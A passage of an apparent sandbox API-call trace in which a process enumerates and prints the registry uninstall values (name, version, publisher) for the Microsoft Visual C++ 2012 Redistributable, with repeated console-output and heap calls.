Visual C++ 2012 Redistributable (x86) - 11.0.61030", pcbData=0x29f780*=0x7a) returned 0x0 [0149.529] __iob_func () returned 0x7fefd702a80 [0149.529] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.529] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.530] _fileno (_File=0x7fefd702ab0) returned 1 [0149.530] _errno () returned 0x204bb0 [0149.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.530] _errno () returned 0x204bb0 [0149.530] GetFileType (hFile=0x50) returned 0x1 [0149.530] lstrlenW (lpString=" ") returned 4 [0149.530] GetConsoleOutputCP () returned 0x1b5 [0149.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.530] GetConsoleOutputCP () returned 0x1b5 [0149.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.530] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.530] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.530] lstrlenW (lpString="DisplayName") returned 11 [0149.530] __iob_func () returned 0x7fefd702a80 [0149.530] _fileno (_File=0x7fefd702ab0) returned 1 [0149.530] _errno () returned 0x204bb0 [0149.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.530] _errno () returned 0x204bb0 [0149.530] GetFileType (hFile=0x50) returned 0x1 [0149.530] lstrlenW (lpString="DisplayName") returned 11 [0149.530] GetConsoleOutputCP () returned 0x1b5 [0149.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.530] GetConsoleOutputCP () returned 0x1b5 [0149.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.531] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.531] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.531] __iob_func () returned 0x7fefd702a80 [0149.531] _fileno (_File=0x7fefd702ab0) returned 1 [0149.531] _errno () returned 0x204bb0 [0149.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.531] _errno () returned 0x204bb0 [0149.531] GetFileType (hFile=0x50) returned 0x1 [0149.531] lstrlenW (lpString=" ") returned 4 [0149.531] GetConsoleOutputCP () returned 0x1b5 [0149.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.531] GetConsoleOutputCP () returned 0x1b5 [0149.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.531] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.531] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.531] __iob_func () returned 0x7fefd702a80 [0149.531] _fileno (_File=0x7fefd702ab0) returned 1 [0149.531] _errno () returned 0x204bb0 [0149.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.531] _errno () returned 0x204bb0 [0149.531] GetFileType (hFile=0x50) returned 0x1 [0149.531] lstrlenW (lpString="REG_SZ") returned 6 [0149.531] GetConsoleOutputCP () returned 0x1b5 [0149.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.532] GetConsoleOutputCP () returned 0x1b5 [0149.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.532] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.532] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.532] __iob_func () returned 0x7fefd702a80 [0149.532] _fileno (_File=0x7fefd702ab0) returned 1 [0149.532] _errno () returned 0x204bb0 [0149.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.532] _errno () returned 0x204bb0 [0149.532] GetFileType (hFile=0x50) returned 0x1 [0149.532] lstrlenW (lpString=" ") returned 4 [0149.532] GetConsoleOutputCP () returned 0x1b5 [0149.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.532] GetConsoleOutputCP () returned 0x1b5 [0149.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.532] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.532] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.532] __iob_func () returned 0x7fefd702a80 [0149.532] _fileno (_File=0x7fefd702ab0) returned 1 [0149.532] _errno () returned 0x204bb0 [0149.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.532] _errno () returned 0x204bb0 [0149.532] GetFileType (hFile=0x50) returned 0x1 [0149.532] lstrlenW (lpString="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030") returned 60 [0149.532] GetConsoleOutputCP () returned 0x1b5 [0149.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0149.533] GetConsoleOutputCP () returned 0x1b5 [0149.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", cchWideChar=60, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpUsedDefaultChar=0x0) returned 60 [0149.533] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 60 [0149.533] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.533] __iob_func () returned 0x7fefd702a80 [0149.533] _fileno (_File=0x7fefd702ab0) returned 1 [0149.533] _errno () returned 0x204bb0 [0149.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.533] _errno () returned 0x204bb0 [0149.533] GetFileType (hFile=0x50) returned 0x1 [0149.533] lstrlenW (lpString="\n") returned 1 [0149.533] GetConsoleOutputCP () returned 0x1b5 [0149.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.533] GetConsoleOutputCP () returned 0x1b5 [0149.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.534] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.534] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.534] GetProcessHeap () returned 0x3c0000 [0149.534] GetProcessHeap () returned 0x3c0000 [0149.534] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.534] GetProcessHeap () returned 0x3c0000 [0149.534] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7e [0149.534] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.534] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.534] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0149.534] GetProcessHeap () returned 0x3c0000 [0149.534] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c30 [0149.534] GetProcessHeap () returned 0x3c0000 [0149.534] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.534] GetProcessHeap () returned 0x3c0000 [0149.534] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0149.534] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="11.0.61030.0", pcbData=0x29f780*=0x1a) returned 0x0 [0149.534] __iob_func () returned 0x7fefd702a80 [0149.534] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.534] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.534] _fileno (_File=0x7fefd702ab0) returned 1 [0149.534] _errno () returned 0x204bb0 [0149.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.534] _errno () returned 0x204bb0 [0149.534] GetFileType (hFile=0x50) returned 0x1 [0149.534] lstrlenW (lpString=" ") returned 4 [0149.535] GetConsoleOutputCP () returned 0x1b5 [0149.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.535] GetConsoleOutputCP () returned 0x1b5 [0149.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.535] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.535] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.535] lstrlenW (lpString="DisplayVersion") returned 14 [0149.535] __iob_func () returned 0x7fefd702a80 [0149.535] _fileno (_File=0x7fefd702ab0) returned 1 [0149.535] _errno () returned 0x204bb0 [0149.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.535] _errno () returned 0x204bb0 [0149.535] GetFileType (hFile=0x50) returned 0x1 [0149.535] lstrlenW (lpString="DisplayVersion") returned 14 [0149.535] GetConsoleOutputCP () returned 0x1b5 [0149.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.535] GetConsoleOutputCP () returned 0x1b5 [0149.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.535] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.535] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.536] __iob_func () returned 0x7fefd702a80 [0149.536] _fileno (_File=0x7fefd702ab0) returned 1 [0149.536] _errno () returned 0x204bb0 [0149.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.536] _errno () returned 0x204bb0 [0149.536] GetFileType (hFile=0x50) returned 0x1 [0149.536] lstrlenW (lpString=" ") returned 4 [0149.536] GetConsoleOutputCP () returned 0x1b5 [0149.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.536] GetConsoleOutputCP () returned 0x1b5 [0149.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.536] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.536] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.536] __iob_func () returned 0x7fefd702a80 [0149.536] _fileno (_File=0x7fefd702ab0) returned 1 [0149.536] _errno () returned 0x204bb0 [0149.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.536] _errno () returned 0x204bb0 [0149.536] GetFileType (hFile=0x50) returned 0x1 [0149.536] lstrlenW (lpString="REG_SZ") returned 6 [0149.536] GetConsoleOutputCP () returned 0x1b5 [0149.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.536] GetConsoleOutputCP () returned 0x1b5 [0149.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.537] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.537] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.537] __iob_func () returned 0x7fefd702a80 [0149.537] _fileno (_File=0x7fefd702ab0) returned 1 [0149.537] _errno () returned 0x204bb0 [0149.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.537] _errno () returned 0x204bb0 [0149.537] GetFileType (hFile=0x50) returned 0x1 [0149.537] lstrlenW (lpString=" ") returned 4 [0149.537] GetConsoleOutputCP () returned 0x1b5 [0149.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.537] GetConsoleOutputCP () returned 0x1b5 [0149.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.537] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.537] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.537] __iob_func () returned 0x7fefd702a80 [0149.537] _fileno (_File=0x7fefd702ab0) returned 1 [0149.537] _errno () returned 0x204bb0 [0149.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.537] _errno () returned 0x204bb0 [0149.537] GetFileType (hFile=0x50) returned 0x1 [0149.537] lstrlenW (lpString="11.0.61030.0") returned 12 [0149.537] GetConsoleOutputCP () returned 0x1b5 [0149.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030.0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.538] GetConsoleOutputCP () returned 0x1b5 [0149.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030.0", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.0.61030.0", lpUsedDefaultChar=0x0) returned 12 [0149.538] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.538] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.538] __iob_func () returned 0x7fefd702a80 [0149.538] _fileno (_File=0x7fefd702ab0) returned 1 [0149.538] _errno () returned 0x204bb0 [0149.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.538] _errno () returned 0x204bb0 [0149.538] GetFileType (hFile=0x50) returned 0x1 [0149.538] lstrlenW (lpString="\n") returned 1 [0149.538] GetConsoleOutputCP () returned 0x1b5 [0149.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.538] GetConsoleOutputCP () returned 0x1b5 [0149.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.538] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.538] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.538] GetProcessHeap () returned 0x3c0000 [0149.538] GetProcessHeap () returned 0x3c0000 [0149.538] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.538] GetProcessHeap () returned 0x3c0000 [0149.538] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0149.538] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.539] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.539] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0149.539] GetProcessHeap () returned 0x3c0000 [0149.539] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d7910 [0149.539] GetProcessHeap () returned 0x3c0000 [0149.539] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0149.539] GetProcessHeap () returned 0x3c0000 [0149.539] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0149.539] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d7910, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0149.539] __iob_func () returned 0x7fefd702a80 [0149.539] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.539] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.539] _fileno (_File=0x7fefd702ab0) returned 1 [0149.539] _errno () returned 0x204bb0 [0149.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.539] _errno () returned 0x204bb0 [0149.539] GetFileType (hFile=0x50) returned 0x1 [0149.539] lstrlenW (lpString=" ") returned 4 [0149.539] GetConsoleOutputCP () returned 0x1b5 [0149.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.539] GetConsoleOutputCP () returned 0x1b5 [0149.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.539] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.539] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.539] lstrlenW (lpString="Publisher") returned 9 [0149.539] __iob_func () returned 0x7fefd702a80 [0149.539] _fileno (_File=0x7fefd702ab0) returned 1 [0149.539] _errno () returned 0x204bb0 [0149.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.540] _errno () returned 0x204bb0 [0149.540] GetFileType (hFile=0x50) returned 0x1 [0149.540] lstrlenW (lpString="Publisher") returned 9 [0149.540] GetConsoleOutputCP () returned 0x1b5 [0149.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.540] GetConsoleOutputCP () returned 0x1b5 [0149.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.540] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.540] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.540] __iob_func () returned 0x7fefd702a80 [0149.540] _fileno (_File=0x7fefd702ab0) returned 1 [0149.540] _errno () returned 0x204bb0 [0149.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.540] _errno () returned 0x204bb0 [0149.540] GetFileType (hFile=0x50) returned 0x1 [0149.540] lstrlenW (lpString=" ") returned 4 [0149.540] GetConsoleOutputCP () returned 0x1b5 [0149.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.540] GetConsoleOutputCP () returned 0x1b5 [0149.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.540] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.541] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.541] __iob_func () returned 0x7fefd702a80 [0149.541] _fileno (_File=0x7fefd702ab0) returned 1 [0149.541] _errno () returned 0x204bb0 [0149.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.541] _errno () returned 0x204bb0 [0149.541] GetFileType (hFile=0x50) returned 0x1 [0149.541] lstrlenW (lpString="REG_SZ") returned 6 [0149.541] GetConsoleOutputCP () returned 0x1b5 [0149.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.541] GetConsoleOutputCP () returned 0x1b5 [0149.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.541] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.541] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.541] __iob_func () returned 0x7fefd702a80 [0149.541] _fileno (_File=0x7fefd702ab0) returned 1 [0149.541] _errno () returned 0x204bb0 [0149.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.541] _errno () returned 0x204bb0 [0149.541] GetFileType (hFile=0x50) returned 0x1 [0149.541] lstrlenW (lpString=" ") returned 4 [0149.541] GetConsoleOutputCP () returned 0x1b5 [0149.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.541] GetConsoleOutputCP () returned 0x1b5 [0149.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.542] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.542] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.542] __iob_func () returned 0x7fefd702a80 [0149.542] _fileno (_File=0x7fefd702ab0) returned 1 [0149.542] _errno () returned 0x204bb0 [0149.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.542] _errno () returned 0x204bb0 